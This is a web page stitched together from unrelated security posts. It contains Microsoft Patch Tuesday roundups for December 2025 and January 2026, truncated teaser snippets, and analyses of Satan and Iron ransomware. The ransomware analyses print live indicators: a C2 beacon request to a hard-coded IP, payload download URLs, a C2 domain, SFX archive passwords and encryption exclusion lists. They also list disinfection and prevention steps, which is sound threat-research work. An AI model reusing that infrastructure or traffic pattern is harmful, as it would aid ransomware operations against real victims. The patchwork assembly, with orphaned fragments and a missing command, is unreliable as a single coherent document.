January’s Microsoft zero-day flaw — CVE-2026-20805 — is brought to us by a flaw in the Desktop Window Manager (DWM), a key component of Windows that organizes windows on a user’s screen. Kev Breen, senior director of cyber threat research at Immersive, said despite awarding CVE-2026-20805 a middling CVSS score of 5.5, Microsoft has confirmed its active exploitation in the wild, indicating that threat actors are already leveraging this flaw against organizations.
Breen said vulnerabilities of this kind are commonly used to undermine Address Space Layout Randomization (ASLR), a core operating system security control designed to protect against buffer overflows and other memory-manipulation exploits.
“By revealing where code resides in memory, this vulnerability can be chained with a separate code execution flaw, transforming a complex and unreliable exploit into a practical and repeatable attack,” Breen said. “Microsoft has not disclosed which additional components may be involved in such an exploit chain, significantly limiting defenders’ ability to proactively threat hunt for related activity. As a result, rapid patching currently remains the only effective mitigation.”
Chris Goettl, vice president of product management at Ivanti, observed that CVE-2026-20805 affects all currently supported and extended security update supported versions of the Windows OS. Goettl said it would be a mistake to dismiss the severity of this flaw based on its “Important” rating and relatively low CVSS score.
“A risk-based prioritization methodology warrants treating this vulnerability as a higher severity than the vendor rating or CVSS score assigned,” he said.
Among the critical flaws patched this month are two Microsoft Office remote code execution bugs (CVE-2026-20952 and CVE-2026-20953) that can be triggered just by viewing a booby-trapped message in the Preview Pane.
Our October 2025 Patch Tuesday “End of 10” roundup noted that Microsoft had removed a modem driver from all versions after it was discovered that hackers were abusing a vulnerability in it to hack into systems. Adam Barnett at Rapid7 said Microsoft today removed another couple of modem drivers from Windows for a broadly similar reason: Microsoft is aware of functional exploit code for an elevation of privilege vulnerability in a very similar modem driver, tracked as CVE-2023-31096.
“That’s not a typo; this vulnerability was originally published via MITRE over two years ago, along with a credible public writeup by the original researcher,” Barnett said. “Today’s Windows patches remove agrsm64.sys and agrsm.sys. All three modem drivers were originally developed by the same now-defunct third party, and have been included in Windows for decades. These driver removals will pass unnoticed for most people, but you might find active modems still in a few contexts, including some industrial control systems.”
According to Barnett, two questions remain: How many more legacy modem drivers are still present on a fully-patched Windows asset; and how many more elevation-to-SYSTEM vulnerabilities will emerge from them before Microsoft cuts off attackers who have been enjoying “living off the land[line] by exploiting an entire class of dusty old device drivers?”
“Although Microsoft doesn’t claim evidence of exploitation for CVE-2023-31096, the relevant 2023 write-up and the 2025 removal of the other Agere modem driver have provided two strong signals for anyone looking for Windows exploits in the meantime,” Barnett said. “In case you were wondering, there is no need to have a modem connected; the mere presence of the driver is enough to render an asset vulnerable.”
Immersive, Ivanti and Rapid7 all called attention to CVE-2026-21265, which is a critical Security Feature Bypass vulnerability affecting Windows Secure Boot. This security feature is designed to protect against threats like rootkits and bootkits, and it relies on a set of certificates that are set to expire in June 2026 and October 2026. Once these 2011 certificates expire, Windows devices that do not have the new 2023 certificates can no longer receive Secure Boot security fixes.
Barnett cautioned that when updating the bootloader and BIOS, it is essential to prepare fully ahead of time for the specific OS and BIOS combination you’re working with, since incorrect remediation steps can lead to an unbootable system.
“Fifteen years is a very long time indeed in information security, but the clock is running out on the Microsoft root certificates which have been signing essentially everything in the Secure Boot ecosystem since the days of Stuxnet,” Barnett said. “Microsoft issued replacement certificates back in 2023, alongside CVE-2023-24932 which covered relevant Windows patches as well as subsequent steps to remediate the Secure Boot bypass exploited by the BlackLotus bootkit.”
Goettl noted that Mozilla has released updates for Firefox and Firefox ESR resolving a total of 34 vulnerabilities, two of which are suspected to be exploited (CVE-2026-0891 and CVE-2026-0892). Both are resolved in Firefox 147 (MFSA2026-01) and CVE-2026-0891 is resolved in Firefox ESR 140.7 (MFSA2026-03).
“Expect Google Chrome and Microsoft Edge updates this week in addition to a high severity vulnerability in Chrome WebView that was resolved in the January 6 Chrome update (CVE-2026-0628),” Goettl said.
As ever, the SANS Internet Storm Center has a per-patch breakdown by severity and urgency. Windows admins should keep an eye on askwoody.com for any news about patches that don’t quite play nice with everything. If you experience any issues related installing January’s patches, please drop a line in the comments below.
Microsoft today pushed updates to fix at least 56 security flaws in its Windows operating systems and supported software. This final Patch Tuesday of 2025 tackles one zero-day bug that is already being exploited, as well as two publicly disclosed vulnerabilities.
Despite releasing a lower-than-normal number of security updates these past few months, Microsoft patched a whopping 1,129 vulnerabilities in 2025, an 11.9% increase from 2024. According to Satnam Narang at Tenable, this year marks the second consecutive year that Microsoft patched over one thousand vulnerabilities, and the third time it has done so since its inception.
The zero-day flaw patched today is CVE-2025-62221, a privilege escalation vulnerability affecting Windows 10 and later editions. The weakness resides in a component called the “Windows Cloud Files Mini Filter Driver” — a system driver that enables cloud applications to access file system functionalities.
“This is particularly concerning, as the mini filter is integral to services like OneDrive, Google Drive, and iCloud, and remains a core Windows component, even if none of those apps were installed,” said Adam Barnett, lead software engineer at Rapid7.
Only three of the flaws patched today earned Microsoft’s most-dire “critical” rating: Both CVE-2025-62554 and CVE-2025-62557 involve Microsoft Office, and both can exploited merely by viewing a booby-trapped email message in the Preview Pane. Another critical bug — CVE-2025-62562 — involves Microsoft Outlook, although Redmond says the Preview Pane is not an attack vector with this one.
But according to Microsoft, the vulnerabilities most likely to be exploited from this month’s patch batch are other (non-critical) privilege escalation bugs, including:
Kev Breen, senior director of threat research at Immersive, said privilege escalation flaws are observed in almost every incident involving host compromises.
“We don’t know why Microsoft has marked these specifically as more likely, but the majority of these components have historically been exploited in the wild or have enough technical detail on previous CVEs that it would be easier for threat actors to weaponize these,” Breen said. “Either way, while not actively being exploited, these should be patched sooner rather than later.”
One of the more interesting vulnerabilities patched this month is CVE-2025-64671, a remote code execution flaw in the Github Copilot Plugin for Jetbrains AI-based coding assistant that is used by Microsoft and GitHub. Breen said this flaw would allow attackers to execute arbitrary code by tricking the large language model (LLM) into running commands that bypass the user’s “auto-approve” settings.
CVE-2025-64671 is part of a broader, more systemic security crisis that security researcher Ari Marzuk has branded IDEsaster (IDE stands for “integrated development environment”), which encompasses more than 30 separate vulnerabilities reported in nearly a dozen market-leading AI coding platforms, including Cursor, Windsurf, Gemini CLI, and Claude Code.
The other publicly-disclosed vulnerability patched today is CVE-2025-54100, a remote code execution bug in Windows Powershell on Windows Server 2008 and later that allows an unauthenticated attacker to run code in the security context of the user.
For anyone seeking a more granular breakdown of the security updates Microsoft pushed today, check out the roundup at the SANS Internet Storm Center. As always, please leave a note in the comments if you experience problems applying any of this month’s Windows patches.
It is not uncommon developers or users responsible to write code (i.e. detection engineers using Sigma) to utilize Visual Studio Code as their code editor.…
When the Windows Operating system is installed via a clean installation or via an upgrade, the Windows Setup binary is executed. The Windows setup allows…
Windows Event logs are the main source of information for defensive security teams to identify threats and for administrators to troubleshoot errors. The logs are…
Today, MalwareHunterTeam reached out to me about a possible new variant of Satan ransomware.
Satan ransomware itself has been around since January 2017 as reported by Bleeping Computer.
In this blog post we'll analyse a new version of the infamous Satan ransomware, which since November 2017 has been using the EternalBlue exploit to spread via the network, and consequently encrypt files.
Analysis
First up is a file inconspicuously named "sts.exe", which may refer to "Satan spreader".
The file is packed with PECompact 2, and is therefore only 30KB in filesize.
Notably, Satan has used different packers in multiple campaigns, for example, it has also used UPX and WinUpack. This is possibly due to a packer option in the Satan RaaS builder. Fun fact: Iron ransomware, which may be a spin-off from Satan, has used VMProtect.
"sts.exe" acts as a simple downloader, and will download two new files, both SFX archives, and extract them with a given password:
Figure 1 - download and extract two new files
Both files will be downloaded from 198.55.107[.]149, and use a custom User-Agent "RookIE/1.0", which seems a rather unique User-Agent.
ms.exe has password: iamsatancryptor
client.exe has password: abcdefghijklmn
It appears the Satan ransomware developers showcase some sense of humor by using the password "iamsatancryptor".
Once the user has executed "sts.exe", they will get the following UAC prompt, if enabled:
Figure 2 - UAC prompt
Client.exe (94868520b220d57ec9df605839128c9b) is, as mentioned earlier, an SFX archive and will hold the actual Satan ransomware, named "Cryptor.exe". Figure 2 shows the command line options.
Curiously, and thanks to the s2 option, the start dialog will be hidden, but the extraction progress is displayed - this means we need to click through to install the ransomware. Even more curious: the setup is in Chinese.
Figure 3 - End of setup screen
ms.exe (770ddc649b8784989eed4cee10e8aa04) on the other hand will drop and load the EternalBlue exploit, and starts scanning for vulnerable hosts. Required files will be dropped in the C:\ProgramData folder, as seen in Figure 3. Note it uses a publicly available implementation of the exploit - it does not appear to use its own.
The infection of other machines on the network will be achieved with the following command:
This will be used for planting sts.exe on other machines in the network, and will consequently be executed.
Satan ransomware itself, which is contained in Client.exe, will be dropped to C:\Cryptor.exe.
This payload is also packed with PECompact 2. As usual, any database-related services and processes will be stopped and killed, which it does to also encrypt those files possibly in use by another process.
Figure 5 - Database-related processes
What's new in this version of Satan, is that the exclusion list has changed slightly - it will not encrypt files with the following words in its path:
windows, python2, python3, microsoft games, boot, i386, ST_V22, intel, dvd maker, recycle, libs, all users, 360rec, 360sec, 360sand, favorites, common files, internet explorer, msbuild, public, 360downloads, windows defen, windows mail, windows media pl, windows nt, windows photo viewer, windows sidebar, default user
This exclusion list is reminiscent of Iron ransomware. (or vice-versa)
Satan will, after encryption, automatically open the following ransomware note: C:\_How_to_decrypt_files.txt:
Figure 6 - Ransom note
The note is, as usual, in English, Chinese and Korean, and demands the user to pay 0.3 BTC. Satan will prepend filenames with its email address, satan_pro@mail.ru, and append extensions with .satan. For example: [satan_pro@mail.ru]Desert.jpg.satan
Satan will create a unique mutex, SATANAPP, so the ransomware won't run twice. It will also generate a unique hardware ID and sends this to the C2 server:
GET /data/token.php?status=ST&code=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
HTTP/1.1
Connection: Keep-Alive
User-Agent: Winnet Client
Host: 198.55.107.149
As mentioned in the beginning of this blog post, Satan ransomware has been using EternalBlue since at least November 2017 last year. For example, 25005f06e9b45fad836641b19b96f4b3 is another downloader which works similar to what is posted in this blog. It would fetch the following files:
http://122.114.9.220/data/client.exe
http://122.114.9.220/data/ms.exe
http://122.114.9.220/data/winlog.exe
According to VirusTotal, the downloader file was uploaded:
2017-11-20 18:35:17 UTC ( 5 months ago )
For additional reading, read this excellent post by Tencent, who discovered a similar variant using EternalBlue earlier in April this year.
Disinfection
You may want to verify if any of the following files or folders exist:
C:\sts.exe
C:\Cryptor.exe
C:\ProgramData\ms.exe
C:\ProgramData\client.exe
C:\Windows\Temp\KSession
Prevention
Enable UAC
Enable Windows Update, and install updates (especially verify if MS17-010 is installed)
Install an antivirus, and keep it up-to-date and running
Satan is not the first ransomware to use EternalBlue (for example, WannaCry), however, it does appear the developers of Satan are continuously improving and adding features to its ransomware.
Prevention is always better than disinfection/decryption.
In this post, we'll take a quick look at a possible new ransomware variant, which appears to be the latest version of Maktub ransomware, also known as Maktub Locker.
Update - 2018-04-14: Read the conclusion at the end of this post to learn more about how Iron ransomware mimicked at least three different ransomware families.
Analysis
A file was discovered, named ado64 with the following properties:
Maktub typically sports a graphically appealing lock screen, as well as payment portal, and promotes "Maktub Locker" extensively.
Interestingly enough, this variant has removed all references to Maktub. The figures below represent lock screen and payment portal, when stepping through.
Figure 3 - Hello! (after entering the personal ID)
The text reads:
We’re very sorry that all of your personal files have been encrypted :( But there are good news – they aren’t gone, you still have the opportunity to restore them! Statistically, the lifespan of a hard-drive is anywhere from 3 to 5 years. If you don’t make copies of important information, you could lose everything! Just imagine! In order to receive the program that will decrypt all of your files, you will need to pay a certain amount. But let’s start with something else…
Figure 4 - "We are not lying"
Figure 5 - Ransomware cost
Figure 6 - Where to pay
Figure 7- Last but not least: how to buy Bitcoins
In previous versions of Maktub, you could decrypt 1 file for free, however, with the current rebranding, this option has disappeared. Since the ransomware has rebranded, we'll name it "Iron" or "Iron ransomware", due to the name of the decrypter, IronUnlocker.
Iron encrypts a whopping total of 374 extensions, these are as follows:
Iron doesn't spare gamers, as it will also encrypt Steam files (.vdf), World of Tanks replays (.wotreplay). DayZ (.DayZProfile), and possibly others.
Folders containing the following words are exempt from encryption:
Windows, windows, Microsoft, Mozilla Firefox, Opera, Internet Explorer, Temp, Local, LocalLow, $Recycle.bin, boot, i386, st_v2, intel, recycle, 360rec, 360sec, 360sand, internet explorer, msbuild
Interestingly enough, 360sec, 360rec, and 360sand is developed by Qihoo 360, an internet security company based in China, and is an antivirus (360 Total Security is one example). This, as well as the fact that the Iron ransomware also includes resources in Chinese Simplified, alludes this variant may be developed by a Chinese speaker.
The ransomware will additionally delete the original files after encryption, and will also empty the recycle bin. It does not remove Shadow Volume Copies or Restore Points.
Iron embeds a public RSA key as follows:
-----BEGIN RSA PUBLIC KEY----- MIGJAoGBAIOYf0KqEOGaxdLmMLypMyZ1q/K+r6DuCdYpwZfs0EPug3ye7UjZa0QMOP5/OySr l/uBJtkmEghEtUEo/zfcBJ7332O1ytJ7/ebIUv+ZcN1Rlswzdv7uZxYRC8u1HvrgBvAz4Atb zx+FbFVqLB0gGixYTqbjqANq21AR6r91+oJtAgMBAAE= -----END RSA PUBLIC KEY-----
The Iron ransomware will determine the user's WAN IP and also send a POST request to its C2 server, http://y5mogzal2w25p6bn[.]ml.
Figure 8 - Traffic
It appears Iron will create a new, random GUID, and use it as a mutex, in order to not infect the machine twice. The following values will be sent to the C2:
Encryption key;
Randk (seed);
GUID (mutex);
Start (whether ransom successfully started);
Market (unknown).
The C2 server will then respond with another set of values, and generate a unique Bitcoin address, which means that victims may pay twice to different addresses. Rule of thumb: do not pay the ransomware.
Of note is an email address in the response: oldblackjack@outlook.com.
Iron will additionally save certain values, such as the GUID, in HKCU\Software\CryptoA:
Figure 9 - Registry values (click to enhance)
Encrypted files will have the .encry extension appended. It is likely not possible to restore data.
Conclusion
It is currently unknown if Iron is indeed a new variant by the same creators of Maktub, or if it was simply inspired by the latter, by copying the design for the payment portal for example.
We know the Iron ransomware has mimicked at least three ransomware families:
Maktub (payment portal design)
DMA Locker (Iron Unlocker, decryption tool)
Satan (exclusion list)
From the screenshots above, it is obvious the portal design has been copy pasted from Maktub.
And, last but not least, it uses the exact same exclusion list (folders and its content that will not be encrypted) from Satan:
Just to clarify, there isn't specific code overlap, as the crypto is quite different to Satan. However, there are similarities in a number of things, such as the exclusion list. https://t.co/OHkFimJ3g7pic.twitter.com/ub6hOnucgn
Code is indeed quite unique, and Iron seems like a totally new ransomware, and may even be a "side project" by the creators of the Satan ransomware. However, at this point, there is no sure way of telling who's behind Iron. Time may be able to tell.
Decryption is impossible without the author's private key, however, it is possible to restore files using Shadow Volume Copies, or alternatively Shadow Explorer. If that doesn't work, you may try using a data recovery program such as PhotoRec or Recuva.
Take note of ID ransomware, if a decryptor should ever become available. Additionally, it may identify other families of ransomware if you are ever affected. Another service to take note of in this regard is NoMoreRansom.
Login
